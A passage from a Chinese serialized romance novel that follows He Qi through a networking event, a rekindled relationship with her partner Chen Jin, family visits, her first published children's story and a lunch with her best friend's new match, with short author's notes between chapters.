反正方翊跟李秀兰熟,这些年没少跟李乐一一起被数落,直接厚着脸皮、没什么礼数地凑到李秀兰旁边。 何漆这回很会见机行事,跟着溜到了赵凡红身边,大方又诚恳地提出想要她的联系方式。 李秀兰在一旁搭腔,微信便要的轻而易举又顺理成章。 何漆看着新的好友,垂着眼偷偷高兴,心想这次活动真是来对了。 三人边用餐边继续聊,方翊在旁插科打诨,起个调味料的作用,没一会儿,展厅另一边的讲座交流活动即将开始,赵凡红和李秀兰是中心人物,就先起身先去做准备。 何漆紧随其后,讲台周围已经有不少嘉宾落座,她挑选了个人不多不少的地方坐下,方翊也跟在她身边。 何漆简直不知道自己该用什么态度面对方翊,于理,他的心思错到离谱,还冥顽不灵不知悔改,她是半点不该搭理他,但于情,他又总是能够正中下怀地帮到她,刚受人恩情就翻脸不认账,这何漆也做不到。 苦恼之际,周围陆陆续续坐满了人,何漆便暂且当方翊不存在,主动找机会与邻座的女人攀谈起来。 活动拢共进行了两个多小时,何漆手机里新增了十余个好友,嘉宾散场前,她找到忙了一整个夜晚终于有时间在自助区进食的洛洛,和她打了声招呼,接着又去跟李秀兰道别。 要离开时,展厅里零零落落只剩下很少的人,方翊早就靠在电梯厅的角落里迟迟不肯走,看到何漆出来后才一起进电梯。 他原本要去按负一层的电梯键,碰上前又突然停了手,扭头礼貌问轿厢里的其余人:“你们去哪层?” 有人说负一层,有人说负二层,何漆等了会儿,见没人跟自己同层,不得不道:“一层,谢谢。” 方翊笑着点了点头,迅速按亮按键。 一层最先到达,电梯门打开,轿厢里的五人只有何漆与方翊离开了。 大厅内灯火辉煌,光洁的大理石瓷砖反射着天花板的光亮,待客的沙发区域前围着四五个人,何漆张望了一眼,发现竟是赵凡红等人,看样子似乎是又聊了会儿天正打算走。 她忙不迭跟到门口处,打算最后刷个脸:“赵老师,是要走了吗?” 赵凡红看到她,露出个和蔼的笑,身旁有人好奇何漆是谁,赵凡红也笑眯眯地简单介绍了。 室外温度已经降到很低,风刮在脸上像是刀子。 何漆在风中目送赵凡红上了等候在外的专车,转身想要先回大厅,方翊在她侧前方一直堵着,她往前走一步,他便面朝着她向后退一步。 直到快要接近阶梯,方翊再这么不看路倒着走可能会绊倒,何漆停下严肃地喊他名字:“方翊。” 方翊做叹气状:“我还以为你不打算理我了。” 何漆说:“我确实是这个打算。” 说不难过是假的,但方翊在何漆面前也不是第一次厚脸皮,态度认真地乞求:“姐姐,把我的微信加回来吧。” 何漆冷着脸:“我已经跟你说清楚过了。” “我不会再一直打扰你,我可以都像今天一样,找合适的时机出现,我今天帮了你,对吧?”方翊低头看她,可怜又充满希冀地抬了抬眼皮,无比盼望得到肯定的答复,小心地补充,“我会把握分寸的,姐姐。” 可惜—— “我和我男友复合了。”何漆卡其色风衣的衣摆被风吹得翩飞,衣领也拍打得猎猎作响,她直视上方翊的眼睛,清晰地宣告。 方翊面 色突然凝住,在灯光下更显苍白,迟疑地问:“什么?” 何漆不想跟他重复第二遍,正要侧身回到写字楼,却猛然有种强烈的第六感促使着她稍稍扭头,往侧边瞥了一眼。 接着,她没有再把头转回来,目光仿佛钉在了那处。 道路的尽头停着一辆黑色的SUV,一个高大的人影倚在车身前,右手抬起放在唇边。 极度的熟悉让何漆瞬间就辨认出来,但她不敢马上确定,隐形眼镜的度数不完全贴合,她只好眯了眯眼。 男人右手缓缓放下来,隔着很远与她对视,指尖掐着一点猩红。 何漆不再犹豫,霎时扭转脚步,朝那处奔去。 陈津靠着车身,站立时脊背微微弓着,从肩到腰,弯曲的弧度仿佛一座平缓的山峦,他稍昂着脑袋,烟雾从他分开的唇瓣里往上走,眼皮却颓丧地往下垂。 路灯没能照射到他所处的地界,大半个身型都隐没在夜色里,透着一股难言的阴鸷。 他亲眼看着何漆从富丽堂皇的楼中出来,和一群人簇拥着谈笑,年轻俊朗的男子几乎寸步不离地跟在她一步之外的地方。 如果不去特意询问的话,所有看到过这一幕的人大概都会觉得那是她的男伴? 然后人群各自散开,最终留下何漆和“男伴”,他极尽亲昵姿态,垂首向她渴求什么,何漆神色不明地跟他说话。 随即,她看到了自己,犹豫了两秒,朝他跑来。 昂贵的大衣将她高挑的身姿衬托得很好,头发利落地束在脑后,随着她的跑动而晃荡,发尾偶尔垂在肩膀,偶尔滑落身后。 何漆今夜美得出奇,被风吹起的每根发丝都神采飞扬。 陈津指尖捏着烟,无动于衷地看她走来,靠得近了,她的脚步便缓缓停下,每一步踩得越发慎重,发尾在身后有节奏地摇摆。 何漆看清他的神色,似有疑虑地蹙了蹙眉,但还是问:“你什么时候来的?怎么不跟我说一声,我差点要打车回去了。” 陈津这才宛如渐渐回过神,盯着她,随手掐掉烟丢进一旁的垃圾桶,整个人被冷风吹僵了,嗓音沙哑:“没多久,正要给你打电话。” 何漆觉得他不太对劲,扑上前去,手摸进他的大衣口袋,把里面烟盒拿出来,嗔怪:“你抽烟?” 陈津借着这个姿势,左手手臂环在她的腰后,右手迅速夺了那烟盒,直接扔进垃圾桶。 “当啷”一声,那烟盒掉进去,很有分量,似乎还满满当当的。 “不抽了。”陈津冷淡的声音从头顶传来。 指尖还残存着烟盒摩擦过的触感,然而已是一片空,何漆觉得他真有些奇怪,刚抬头想好好瞧瞧,那人却不由分说地弯腰吻了下来。 措手不及,何漆的齿关没做任何防御,他的舌头长驱直入地纠缠进来,在浓重的夜色下不断亲出“啧啧”的水声。 何漆被他狠狠吓了一跳,头往后仰,脖子越来越酸,但深吻着她的人丝毫没有要停息的迹象。 她双手搭在陈津的腰上,脸颊原本被风吹得冰凉,此刻逐渐滚烫起来。 闭上眼回应了两次,何漆终于找到机会撤开,吻得过于激烈,唇瓣分离时甚至扯开了一条若隐若现的银丝。 何漆有些羞耻,手掌落在陈津环着自己腰的手臂上,小声问:“你干什么?在外面呢……” 陈津又有要亲吻她的趋势,何漆摇了摇他的手臂作制止:“我今天不去家里,先回酒店吧。” “嗯?”她说完又小幅度地摇了摇陈津的手臂。 掌在她腰后的手总算轻轻落下了,何漆正要上副驾,却感到身前的陈津正朝哪处看着。 她感到疑惑,原本要顺着他的视线扭头,然而突然想到什么,脖颈一阵发僵。 冷风灌进她的鼻腔咽喉,有隐隐的窒息感,她裹紧自己的风衣,终是一步也没有回头地上了车。 但假若何漆真的顺着陈津的目光看去,其实写字楼的门口早已空无一人。 一路上,两人分外沉默,何漆觉得他们像两座正在蓄势的火山,心知肚明今夜会有怎样的喷发,在此之前的所有便都显多余。 陈津把油门踩得极重,何漆对着窗户上两人的倒影,反复摩挲着嘴唇—— 作者有话说:哇塞感谢小天使们的霸王票和营养液[竖耳兔头] 那还说啥,接我漆姐贵人运吧! 第35章 酒店房门合上,何漆几乎瞬间就被抵了上去,呼吸间、唇舌里,一丝不落的全是陈津的气息。 她被亲得被迫高仰起头,承接着从上至下细密打落的吻,头发在门上摩擦着,逐渐凌乱。 房卡落进卡槽,灯光骤然大亮,两人触碰彼此的肌肤无比滚烫。 陈津抬手解她风衣的扣子,何漆总算能够喘息,额头抵着陈津的肩膀,感觉到他的动作越来越粗暴,小声道:“别弄坏了。” 陈津听话地耐心了些,把衣服剥开后扔在了沙发上。 他掌心的温度还是冰的,盖上来时何漆不由弓了弓背,反用自己已经火热的手掌覆上去,抬头找陈津的唇。 两人脚步凌乱地踏过地毯,何漆扎成马尾的头发一点点散落开,黑色的皮筋随着大幅度的晃动一点点向下移,松松垮垮环在发尾处时,被陈津轻轻摘下来,套在了手腕上。 床头的抽屉开合一次,好几个塑料包装落在台面上。 何漆腰下垫着个枕头,因为吃力双眼张张合合,房内灯都亮着,闭眼时是一片透光的黑暗,睁眼时是陈津有些模糊的脸。 到后来何漆说要关灯,陈津探身,只留下床头两盏小灯。 那时何漆伏在他身上,一手放在他的脸侧,无力地用拇指指腹抚摸他的脸庞。 陈津很喜欢,他喜欢何漆无力思考别的而满心满眼都是自己的样子,喜欢她在柔软时对自己下意识的亲昵,喜欢她因自己而欢愉畅快的挣扎,甚至喜欢她留在自己背上的挠痕。 他双臂环在何漆的腰背上,听她的心跳与自己共振。 房间与夜色一样空旷,陈津却觉得四处都充斥满了何漆的呼吸,他身处其中,并不像以往那样轻松餍足。 他今夜总有话想说。 好几次,很多次,何漆的汗顺着肌肤滴到他身上时,他都有开口的冲动。 但无论如何都说不出口,陈津只有冲动,却绝对没有做好准备。 他想问的事并不难猜,丝丝缕缕的草蛇灰线都直指向一个人,那个不知何时出现在何漆口中,然后一次次转变身份的男人—— 先是李家佳的表弟、再是李家佳表弟的朋友,何漆生病那次也是他、接着变成何漆救下的猫的领养人,之后更是一发不可收拾,一起去吃什么麻辣烫,连生日也要见面,他们分居后更是没脸没皮地追到李家佳小区楼下,还一块去喝酒,甚至何漆为了去见他把自己晾在了家门口,今天还成了“男伴”…… 这样顺畅的联想几乎能看到那人是如何一步步走进何漆的生活里,陈津忽地感到胸闷,胸膛快要炸开般。 而何漆恰在此刻很轻地拍了拍他的脸:“我去洗澡。” 是示意他把手松开。 陈津没松,也没有说话,他当然不能说话,眼下心情烂到极点,他几乎可以预料脱口而出的话语和声音会有怎样的变形。 于是他只沉重地呼吸着,反而把手臂收得更紧。 他一直记得何漆说过的话——我这里没有多余的机会。 他们这段关系确实长久、平稳到超乎想象,可同时也意味着它脆弱得超乎想象。 就像冬天来临,巨大湖面上结成的一层薄冰,如果小心翼翼、不去轻举妄动,兴许可以在上面滑很久很久,但倘若执意做出巨大的动作,瞬间就会堕入冰冷湖水之中。 冰面破过一次,陈津没有犯错的余地了,他想,那何漆呢? 如果偏离航道的人是何漆,他也表现出那样的怒火,何漆会怎么做? 是像他一样苦苦请求原谅,还是干脆放弃这片湖泊?陈津猜不到答案,出于某种脆弱的心理,他也不想猜到答案。 所以,两相比较起来,如果一个已经发生的错误必须要有一个罪人去 承担,是他才有挽回的可能吧? 陈津说不出自己这算什么心态,自嘲?自我安慰?还是分析解决方法? 没有人能解答他,只有何漆在他的沉默中感到疑惑,伸手去摸栓在他手腕上的皮筋,想把头发绑起来后去洗澡,问:“怎么不说话?” 在何漆用酸软的手臂把身子撑起来时,陈津顺势将她翻压,用猛烈的吻回答她,这个夜晚还没结束。 第二天清晨,何漆被一通电话吵醒,迷迷糊糊间摸出手机,看到备注上的“妈”,精神瞬间清醒几分。 她瞧了眼身侧的陈津,见他还闭着眼在睡,于是在床上接了电话。 “喂。”她语调丝毫不掩困意,说完还打了大大一个哈欠。 徐燕声音莫名闷闷的,问:“漆漆,还在睡?中午回来吃饭吗?” 何漆看了眼时间,已经是新一年一月一日的上午九点,她揉了揉眼角:“嗯,回来吃个中饭吧。” 徐燕忙不迭道好,又说起自己买了什么菜,何漆听得心不在焉,身侧的人却仿佛慢半拍地被她吵醒,一边动了动四肢,一边微张开嘴似乎要说什么。 何漆眼疾手快,也有些慌不择路,手掌“啪”一声捂到了陈津嘴上,力道比巴掌轻,听起来却也差不多。 不过比起陈津刚睡醒的低哑嗓音,这种类似于拍打的响动根本不足以引起徐燕的注意,对方自顾自说完了话,便挂断电话准备做饭去了。 陈津被那一掌拍得彻底清醒过来,想说话又不能说,目光幽幽地投向一旁趴躺着的何漆,带点无言的控诉。 何漆尴尬地朝他一笑,收回手想从床上爬起来,全身散架般酸痛,叫她险些脸朝下地跌回去。 “我妈的电话,我怕你出声。”何漆好不容易挪到床沿边,找到拖鞋后向陈津解释。 陈津在她身后应了一声,听不出情绪,何漆便先进卫生间洗漱。 洗漱完出来,陈津已经在穿衣服,何漆到自己的化妆包里找粉底液遮脖子上的红痕,顺道通知陈津:“我中午回家吃饭,要不你先回江市吧,万一我妈要我在家多住两天。” “那我也多住两天。”陈津说,“我可以等到三号再回去。” 何漆不知道该说什么,干巴巴地看着梳妆台镜子里的自己,短促地“哦”了一声。 花半个小时收拾妥当,何漆在屋子里转了一圈,想了想,最终没拿行李箱。 这个点酒店还能提供早餐,陈津打电话要了份当早午饭,何漆回家不会让他接送,他至多能把人送到酒店大门,然后抢门童的工作护送何漆上车。 但那样太隆重了,好像何漆要出什么不得了的远门,他选择只把何漆送到房门口,这样显得平常一些,仿佛她只是出去办事,很快就回来。 何漆正要拉开房间的门,突然想起什么,转回身来问他:“对了,你身上还有没有钱?” 陈津站在何漆身后,将她困在自己与房门之间,垂头盯着她两秒,毫无预兆的,莫名伸手把她搂进了怀里。 一手在她脑后上下轻抚,一手扣在她腰间。 何漆被抱得发懵,好半天才好笑地仰头问:“干嘛,你怎么了?” 他怎么了? 何漆为什么不能在更准确的时间点问出这个问题。 明确的异常和差错一次次出现,她却总在那之后熟视无睹、只字不提,像昨晚一样,与他若无其事,就宛如他们都不曾看见过那个男人。 这是否该被视为她刻意息事宁人的遮掩? 陈津不知道,只能低头亲吻她的发顶- 回家的路挺远,网约车开进小区时徐燕已经打来过两支电话。 何漆走上熟悉的楼道,有点害怕会碰见邻居,毕竟她上一次回来时还大闹了个惊天动地。 所幸她今天运头还不错,没那么巧撞见人,迅速爬楼到自家门口,用指纹解锁打开门,钻进玄关处把门“砰”一声合上。 徐燕正在擦餐桌,被她吓了一小跳:“回来了?干嘛做贼一样?” 何漆不想提,扶着墙换鞋,转移话题:“好香啊,菜在厨房?我去端,饿死了。” 徐燕又做了很丰盛的一桌子菜,都是何漆爱吃的,等两人在餐桌边坐下,何漆才后知后觉地发现少个人,问:“爸呢?” “去外面吃了。”徐燕垂眼拿筷子,没看何漆。 何漆倒也不觉得奇怪,何云平酒肉朋友一箩筐,只要放假有空,在家吃饭才算稀罕。 吃饱喝足,何漆打算收拾碗筷,徐燕不让她来,赶她去沙发上看电视。 家里买了洗碗机,收拾倒也不多费力,何漆正要听话地走开,不料徐燕拿碗的手猝然一抖,陶瓷餐具磕在桌上,一声脆响,瞬间裂成好几瓣。 何漆敏锐地捕捉到徐燕脸上吃痛的神情,和她微微抽搐了一下的右手。 “手怎么了?”何漆把桌上的碎片用纸巾包着扔进垃圾桶,蹙眉问徐燕。 徐燕目光似乎闪躲了一下,依旧埋头收拾剩下的菜碗:“人老了,烧菜的时候在厨房撞了一下,手就碰出淤青了。” 何漆没让她继续劳作,把叠起来的碗盆送进厨房,一个个摆放到洗碗机里,随后又在几平米大的厨房里环视了一圈,没看到什么安全隐患,问:“哪里能撞到?” “就水槽那里。”徐燕说,“太滑了,洗菜的时候磕到了。” 何漆还是有点想象不出来,但徐燕似乎不想跟她多费口舌,只好弄了条冷毛巾,又在附近药店点了几个冰袋给她的手腕冷敷。 何漆原本打算在家里住个一天再走,徐燕在一旁问她:“这次怎么没带行李?” “我放酒店里了。”何漆下意识答。 “酒店?”徐燕皱眉,“行李单独放酒店干什么?回江市之前还要再去拿?” 何漆懵了一瞬,大脑空白,没能料到这茬。 她早上想得很简单,反正陈津要跟她一起回去,家里又有她的衣物,把行李箱拎来拎去的太麻烦,就交给陈津保管,全然忘了会不会让徐燕起疑。 她支吾着,不知道要怎么糊弄过去:“酒店……酒店公司报销,多开两天没事,我就……放那儿了。” 理由牵强可疑,完全说不过去。 徐燕沉默了两秒,拿掉手腕上的冰袋,问:“陈津跟你一起来了?” 何漆被戳穿,眼皮狠狠跳了一次,强硬地看着面前的电视机,不说话。 怎么这会儿就跟侦探似的。 反正她不会主动承认,当初大言不惭地跟徐燕讲了自己不会再跟陈津有关系,这么快就被打脸,她心里不服。 徐燕看她那样就明白了,轻哼了声:“那你还不赶紧回去,把人家一个人落酒店里,像话吗?” 何漆盘坐在沙发上,梗着背,稍带惊讶地用余光瞥了徐燕一眼。 叫她回去?不是叫陈津过来?也没说要见陈津? 她还有些狐疑,徐燕却已经走过来赶人:“去,去,赶紧走,这么大人了一点事不懂。” 说着还用手上的冰袋贴了一下何漆的颈后。 何漆被冰得一下从沙发上跳起来,捞起外套就跑到玄关换鞋:“走就走,过年我也不回来。” 她嘀咕完狠话,自己心里又不大舒坦,神情静下来,说:“你那个手,明天要是还会痛,就去医院 看一下。” “知道了。”徐燕坐在沙发上,拿着遥控器给电视换频道,听见大门关合的声响,屋子里又安静下来。 徐燕不留她,酒店也没什么可住的,何漆跟陈津赶在五点前回了江市。 何漆想回云苑,但陈津说晚上他做饭,家里冰箱还剩着点食材,方向盘在他手上,车子便一路驶入悦汀府的地下车库。 不得不说,人的惰性实在可怕,在没有外部危机的逼迫下,睡惯了柔软宽大的床铺,何漆就变得没有动力千里迢迢地去找那张不够舒适的单人床。 她一面唾弃自己对自己的娇惯,一面又心不安理不得地享用陈津做的饭菜,故作平静自然地重新住下了。 一切似乎又回到了那场变故之前的模样,除了……陈津开始固执地要和她同床。 她卧室的面积比陈津那间大些,床的规格应该是一样的,睡下三四个人都不成问题。 何漆睡姿不是太好,她之前一直没怎么意识到过这个问题,因为一个人睡床够大,能容忍她在上头翻来覆去。 但身边多个高大的、占地面积广的男人就不一样了,特别是这个男人的睡姿平稳得出奇,像是躺棺材板。 如果没有睡前运动,何漆每晚和陈津会以极其安详的姿态左右躺着,人笔直,陈津双手平放在身侧,她的则端在腹部上面。 然而甚至不用睡着,只要入眠时间长一些,何漆就开始翻动,一会儿左翻,一会儿右翻,一会儿把手藏到枕头底下,一会儿把腿架在陈津腿上。 睡前就这样折腾,睡醒后更是惨不忍睹。 偶尔大半截被子都裹在何漆身上,偶尔枕头压在两人中间,偶尔她挂在陈津的身上…… 何漆不确定陈津的睡眠质量有没有因此大幅下降,但即便如此,他还是执意每天到她的床上来。 直到元旦假期结束后的早晨,何漆醒来时发觉自己不能动弹,整个人侧躺着,腰被人从背后抱住,颈后打着温热的呼吸,腿弯以一种自然的程度弯曲起一点,能感受到腿后紧紧贴合着另一双腿。 她花了十秒钟判断形势,察觉自己是被陈津侧躺着抱着睡了,宛如两只背后抱的袋鼠。 不确实是陈津不堪其扰所以采取的强硬手段,还是近墨者黑,睡姿差也能传染,反正自这天起,何漆要是早上先起,就必须用脚把陈津蹬醒,然后再从他热溶溶的怀抱里出来—— 作者有话说:感谢小天使们的霸王票和营养液[求你了]厚爱厚爱 漆姐携带陈津出门过情人节了嘿嘿 第36章 新年新气象,一月刚过一周,何漆就收到了回声出版社寄来的儿童杂志,最初她在网上订阅的电子版刊物,此刻以实体的形式来到她手中,甚至其中某个板块中还印刷着她的名字与文章。 何漆翻开,淡淡的油墨味扑面而来,她一边快速阅览着别的作者的文章,一边试图寻找自己的名字。 终于在偏末尾部分的“新人作家”专栏里找到了,她把杂志平摊在桌面上,拿起手机对着那两页拍了张照,随后给李家佳发去炫耀,想了想,又同样发给陈津。 李家佳很给面子地对她大夸特夸,夸到何漆都有点儿承受不住,看了眼时间扯开话题:“这个点,你下班了?” 电话那头传来李家佳豪爽的声音:“老娘也不干了。” 何漆挑了挑眉,但并不多少惊讶,那种高强度的工作,李家佳能撑下来这么几个月,在何漆眼中已经算是奇迹的一种。 “辞了?那打算待在江市还是回宁市?” “过两天就回去。”李家佳说,“反正快过年了,我爸妈也催我回去相亲呢,就国庆那个,他们还不死心,非要叫我见一面。” 何漆回忆了一下,有点儿印象,点点头继续翻手边的杂志:“也行,这下你彻底回宁市花天酒地了。” 李家佳像是幻想起了那种没日没夜的生活,贼兮兮地笑了两声:“你过年也早点回来呗,一起一起。” “无福消受。”何漆回,“再看看吧,不想在家里待太久。” 跟李家佳这头刚聊完,前后脚的功夫,另一支电话也进来了,是陈津打来的,问她晚上要不要出去吃。 何漆有些诧异,问:“怎么了?” 陈津似乎在茶水间,有微弱的交谈声传来,他语气倒是正经:“庆祝,你得了好成绩。” 何漆无声地笑了笑,心说这要庆祝哪门子,再者他也来晚了,刚过稿那阵子她就和李家佳庆祝过了。 “不想出去,你回家就好了,给你看看我的大作。”何漆心情好,随口跟他开俏皮的玩笑。 对方很轻地应了一声,何漆便说要挂了。 通话断开前,陈津大概已经拿开了手机,那头有他同事的声音传来,调侃着问他在跟谁打电话,笑得那么开心。 尚未反应过来,手指下意识按了挂断键,何漆没听到陈津是怎么回答的。 就在当天晚上,连李秀兰也给她发来了消息,不过什么也没说,孤零零地甩着条转发过来的微博,她点进去,看到用户名为“作家赵凡红”,是官方认证过的账号,头像旁挂着个黄v。 再往下,博文的第一行写着“读新人作家何漆的《朱迪的新家》有感”。 何漆心脏漏了一拍似的,脸腾一下开始烧红,忙不迭打开微博,把那篇博文从头到尾仔仔细细看完了。 赵老师语言平实,用词幽默,虽没有对她这篇文章表示多大的赞赏,但也肯定了何漆作为新人的灵气,委婉指出几处自认为可改进的地方,最后抒发了观后感悟。 赵凡红微博的粉丝不多,账号里发着很多日常小事,也像这条博文一样提到过不少作家作品,但点赞转发寥寥无几,评论也都是些熟人。 毕竟在互联网上,大家还是对娱乐新闻更加喜闻乐见,但这完全不妨碍何漆的激动,她甚至专门为此新建了作者号微博,转发了那条博文。 随后她跑回微信,开始向李秀兰和赵凡红编辑消息。 陈津洗漱完进她卧室时看到的就是这幅景象,何漆靠坐在床上,脸颊红热得像是下一秒会散发出蒸汽,整个人都透着股亢奋劲,跟打了鸡血似的。 “怎么了?”陈津甚至看了眼室内温度,确定空调系统没出问题,在她身边躺下,问,“在笑什么?” 何漆仿佛完全沉浸在自己的世界里了,手指在键盘上“噼里啪啦”打得飞快,没听见陈津的问话。 被无视的陈津只好沉默下来,用端正的睡姿躺了会儿,忽然又翻身,抱住了何漆的腰。 何漆依旧没有任何反应,大约半分钟后,她的夜聊终于结束,身上每个细胞都欢快地呼吸着,她躺下来,脸热得不行,凑过去和陈津的贴在一起。 陈津被她这举动惊住了,硬是半天愣着没敢动。 他刚洗完热水澡,身上的皮肤都着股水润的热气,但何漆的脸更加滚烫,就这么挨上去,反倒能给她降降温。 何漆觉得舒服,缓缓闭上眼,直到两人的体温互相传递至感受不出差别,她才把脸挪开。 陈津想问她是在跟谁聊天竟令她感到如此雀跃,而何漆拍了拍被子,探身去关床头的灯:“睡觉睡觉。” “啪嗒”一声,卧室内陷入密不透风的黑暗,陈津怀中一暖,感到有人钻了进来。 何漆的床铺上带着很淡的香水味,像是某种花香,和她最近身上的香味一致。 陈津周遭都被这股淡雅的香气包围,身上、怀里,无孔不入,他不敢不珍惜这样的时刻,于是什么话都没有说,闭上眼与何漆相拥而眠- 能够及时得到正反馈的事情总是让人能量满满,何漆恨不得一头扎进童书里,每天看书、写稿、改稿,忙得不亦乐乎。 同时,她记起前不久李家佳建议她重新考取驾照的事儿,反正时间自由,何漆找了最近的一个驾校报名缴费,又指明要了个女教练。 她对这事儿还残存着久远的阴影,并没抱有多大期望,纯属走一步看一步。 科目一过得很顺,虽然因为间隔太久,当年的成绩已经作废,但题目她大致都有数 ,温习一遍就能轻松通过。 到了实操练车的环节,何漆都已经做好了处处碰壁的准备,却不知道什么原因,兴许是年纪上来了对事物的掌控感有所提升,她这回竟然一切顺利。 就算有难题一时攻克不下来,只要多练习几次,配上教练的指导,她也很快就领悟要点。 何漆万万没想到,在春节来临之前,她只花了一个多月的时间,就一举拿下了驾照。 握着驾照本从车管所出来,外头是晴朗冬日,她给驾照本拍了个各种角度的九宫格特写,发了条久违的朋友圈。 李家佳的语音弹过来时,何漆刚坐上等候在外的卡宴的副驾驶。 她把语音开了免提,手机放在中控台,侧过身子系上安全带。 “我去?你这么快把驾照考出了?是不是该提车了?过年还不回来?我等着找你玩呢!”李家佳那儿的背景音有点嘈杂,但不影响她炮语连珠。 何漆无奈地看了眼身旁的陈津,轻笑道:“跟你说了好几遍了,除夕回来。” 李家佳在那头发出耍无赖似的嚎叫:“那也太晚了!你明天就回来行不行?我来接你,李乐一都烦了我半个月了!今天还厚着脸皮让魏科年请他吃饭!” 李乐一听见他姐骂他,凑过来对着麦克风大喊大叫:“漆漆姐!你也回来请我吃饭吧!” “死猪不怕开水烫!”李家佳一巴掌把李死猪拍走。 何漆在这头哭笑不得。 魏科年就是李家佳父母让她非见一面不可的相亲对象,也是宁市本地人,照片何漆看过,长相端正,家庭条件跟李家佳门当户对。 据李家佳所说,相处下来此人性格温和体贴,两人都对彼此印象不错,有发展的意愿。 她和李家佳也说好了,过年回去三人一起吃顿饭,她帮着掌掌眼、把把关。 “你快回来吧快回来,我请你出去天天喝酒。”李家佳还不死心地絮叨。 车子已经在往家的方向开,何漆拿回手机想关掉免提,不料一直沉默着的陈津忽然开口,声音不轻不重,但足够被麦克风识别接收。 “不要天天喝。” 话落,对面陷入五秒死一般的寂静。 然后发出两声如尸体般干巴的讪笑:“哈,哈,姐夫也在啊。” 李家佳装傻狡辩:“没有啊,什么,没说天天喝酒,我说的是……点点喝酒,对,就喝一点点的意思,姐夫你听错了吧,哈哈。” 何漆听不下去,不忍折磨她,把免提关了,手机放在耳边:“我除夕晚饭前到家,你看看魏科年几号有空,那几天商场餐厅肯定爆满。” 李家佳说这些事儿包在她身上,又聊了几句,没一会挂了语音- 两人过年向来不在一处,都是各回各家各找各妈,何漆回宁市,陈津留本地。 今年何漆回去得晚些,一直到除夕前夜还在江市的家里,书房被她霸占着,陈津只能在客厅处理公务。 何漆对他临近春节还要忙工作的风格见怪不怪,只是不知道他以往都是什么时候回父母家,给自己泡了杯热可可,从厨房小心端出来,坐到陈津旁边,问:“明天就除夕,你还不回爸妈家?” 陈津对着电脑好久,眼睛也疲惫了,用两指揉了揉眉心,道:“初一早上会去。” 何漆想了想他的家庭氛围,很快理解地点头,又说:“那你是不是还要给小辈发红包?钱呢,我得把钱转给你吧?” “不用。”陈津用指腹揩掉何漆嘴角的可可渍,曲起指关节很轻地蹭她的脸,“工资和年终都到了,等扣掉过年的开销,我再转进你卡里。” 何漆自然不是管他要钱来的,皱了皱眉:“我也不要,我银行卡喘不过气了。” 虽然何漆卡着年前考出了驾照,但因为不能上高速,所以还是没法自驾回家,提前抢了除夕当天下午的车票,一个小时不到的车程,再加上从车站到家,准时在饭点打开了家门。 她拖着大行李箱在玄关换鞋,鼻尖全是热气腾腾的饭菜香,一抬眼,出乎意料地看到何云平在沉默地擦桌子。 太阳打西边出来。 何漆刚腹诽了一句,何云平便过来帮她提箱子,提完箱子又进厨房端菜。 何漆摸不着头脑,洗完手上餐桌,频频看了何云平好几眼。 有问题,绝对有问题。 餐桌上的气氛说不出的诡异,何云平偶尔不尴不尬地挑起话题,徐燕在一旁完全不搭腔,故意无视他一般给何漆夹菜,就这副场面,何云平竟然也没有要发火的意思,转而跟何漆聊天。 何漆一双眼睛一颗心,根本不够看不够想。 这两人吵架是常有的,但何云平最能强词夺理,错的也统统说成对的,没道理突然转了性子。 好在不管怎么说,这两人关系僵硬,对她便小心殷勤,也没故意踩她的雷,表演着面上的和睦,何漆深谙她家的生存之道,无心挑破。 于是,除夕夜就这么以一种意料之外的诡异姿态和平度过了。 大年初一,徐燕和何云平一早去亲戚家拜年,何漆不孝女的身份在家族里“美名远扬”,自大学后就基本不跟亲戚来往,能少露面就少露面。 再者李家佳昨天也已经跟她约好了。 今天中午一起出去吃饭,带上魏科年—— 作者有话说:感谢小天使们的霸王票和营养液[猫头] 第37章 十点刚过,李家佳就已经开车在她家楼下候着,何漆裹着棉服急促走出单元楼,正好看见粉宝马的副驾门打开,里面下来一个男人。 那男人个头算高,穿搭和发型都显然精细挑选打理过,转身去拉后排车门时正好看见何漆,似乎认出了她,隔了挺远,笑着高声打招呼:“你好,是家佳朋友吧?我是魏科年。” 何漆听见了,但不想扯着嗓子大声说话,先礼貌地微微弯背,朝他点头示意。 眼看魏科年上了后座,何漆才快步走来开副驾的门。 车上暖烘烘的,李家佳把着方向盘的双手都撸高了袖子,见她上车,立马扭头给两人介绍。 “这是我最最最好的闺蜜,何漆。” “这位呢,是魏科年。” 这回何漆主动侧过身子,跟他点头打招呼:“你好。” 魏科年微笑道:“这段时间一直听家佳提起你,总算见到真人了。” 互相认识过,何漆便转回身,系好安全带,问已经把车开出小区的李家佳:“我们去哪吃饭?” 李家佳边观察路况边报了个餐厅名,何漆知道,是附近商场里的一家融合烤肉店,在网上小有名气,算个网红漂亮饭。 “这家?排队爆火吧?你找代排了?”何漆问。 “没。”李家佳说,“魏科年认识这家店老板,约好给我们空个位置。” 何漆有些诧异,应了声“好”,内心无声感慨。 春节期间,商场的地下车库都挤得不行,还好李家佳车技高超,眼尖地看到有辆车刚打算离开,立马趁空档溜了进去,省去了在车库里兜圈子的时间。 融合餐厅门口果然排着取号的长队,魏科年跟门口的迎宾员交涉了两句,店里很快出来名经理带三人进去用餐。 预留的位置偏角落,服务员和魏科年负责烤肉,李家佳与何漆坐同一排,便专心享用美食。 烤肉店比别处都热,吃了没一会儿,桌上三人就都脱了外套,袖子卷起,脸上微微泛红。 何漆确实不太健谈,说帮李家佳把关,实则少询问,多观察,好在那两人这段时间已经混熟,性格又都大方,场面称得上和谐。 李家佳的结论是对的,起码魏科年在这顿饭里的表现和谈吐都配得上“温和体贴”四个字,何漆对她的感情状况暂且放下心来。 吃得差不多,三人放下餐具聊了会儿天,何漆说要去洗手间,独自起身。 走出烤肉店,空气清爽微凉,何漆上完厕所出来有些口渴,正好看到家鲜榨果汁店,过去点了三杯西瓜汁。 门店的生意火爆,何漆等了好一会儿才拿到自己的订单,拎着三杯果汁慢悠悠地原路返回。 刚走到店门口,手机又突然响起电话铃声,是陈津打来的电话。 何漆索性走到旁边的玻璃护栏处,手肘靠上扶手,接了电话放在耳边。 “喂。” 陈津那儿很安静,大年初一的中午,照理说他应该跟父母在一块。 于是何漆问:“喂,你没在跟你爸妈吃饭?” “在聚餐。”陈津说,“刚给我小姨的女儿封了大红包,小孩就开始一直缠着我,出来透口气。” 何漆轻笑了声。 陈津小姨比他母亲小很多,生孩子又晚,所以那小姑娘虽然辈分是他的表妹,但年纪却相差甚远。 她脑海中不由浮现出他被小孩缠得倦怠,一个人逃到外面清净的样子,又想到什么,忽然问:“你没抽烟吧?” 